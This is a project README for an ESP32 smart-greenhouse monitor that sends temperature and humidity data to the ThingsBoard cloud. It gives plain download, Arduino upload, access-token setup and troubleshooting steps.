Welcome to the smart-greenhouse-esp32 project! This application allows you to monitor your greenhouse environment easily using an ESP32 microcontroller. You can stream real-time data to the ThingsBoard cloud platform. It's designed for simple use, even if you're not a programmer.
To get started with smart-greenhouse-esp32, you need to download the software.
Please visit this page to download: GitHub Releases Page.
To run this application, you need:
- A computer with Windows, macOS, or Linux.
- An ESP32 microcontroller.
- Access to the ThingsBoard cloud platform.
- An internet connection.
- Real-time Monitoring: Keep an eye on your greenhouse conditions such as temperature and humidity.
- Data Streaming: Send and receive data from the ThingsBoard cloud platform.
- Wokwi Simulation: Test your setup inside the Wokwi interactive simulator.
- User-Friendly: Designed for ease of use, no programming skills are required.
-
Download the Software:
- Go to the GitHub Releases Page.
- Find the latest version and download the zip or tar file.
-
Extract Files:
- Once downloaded, extract the files to a folder on your computer.
-
Prepare ESP32:
- Connect the ESP32 microcontroller to your computer.
- Make sure you have the necessary drivers installed. This might include the USB-to-Serial drivers for the ESP32.
-
Upload the Code:
- Open the Arduino IDE (make sure you have it installed).
- Load the main project file (usually an
.inofile). - Choose the correct board and port in Arduino IDE.
- Click on the upload button to transfer the code to your ESP32.
-
Set Up ThingsBoard:
- Create an account on the ThingsBoard platform.
- Follow their instructions to create a new device and obtain your access token.
- Update the token in the Arduino code where specified.
-
Run the System:
- Once the code is uploaded, open the Serial Monitor in Arduino IDE to see the output.
- Your application will start sending data to ThingsBoard.
- You can access your data on the ThingsBoard dashboard.
After the setup, you can monitor the greenhouse conditions directly from the ThingsBoard dashboard. You can visualize temperature, humidity, and other environmental factors in real-time.
If you encounter any issues while setting up or running the application, consider the following:
- Ensure the ESP32 is correctly connected to your computer.
- Double-check your Wi-Fi credentials in the code.
- Verify your access token used for ThingsBoard; it must match the one generated on the platform.
- Restart your ESP32 if it seems unresponsive.
If you have questions or need assistance, please create an issue on the GitHub Issues Page. The community and maintainers are ready to help.
This project covers various topics such as agriculture automation, embedded systems, IoT, smart agriculture, and environmental monitoring. Feel free to explore these areas to enhance your understanding.
Now you are ready to start your journey into smart greenhouse automation with smart-greenhouse-esp32! Enjoy monitoring your plants and optimizing their environment.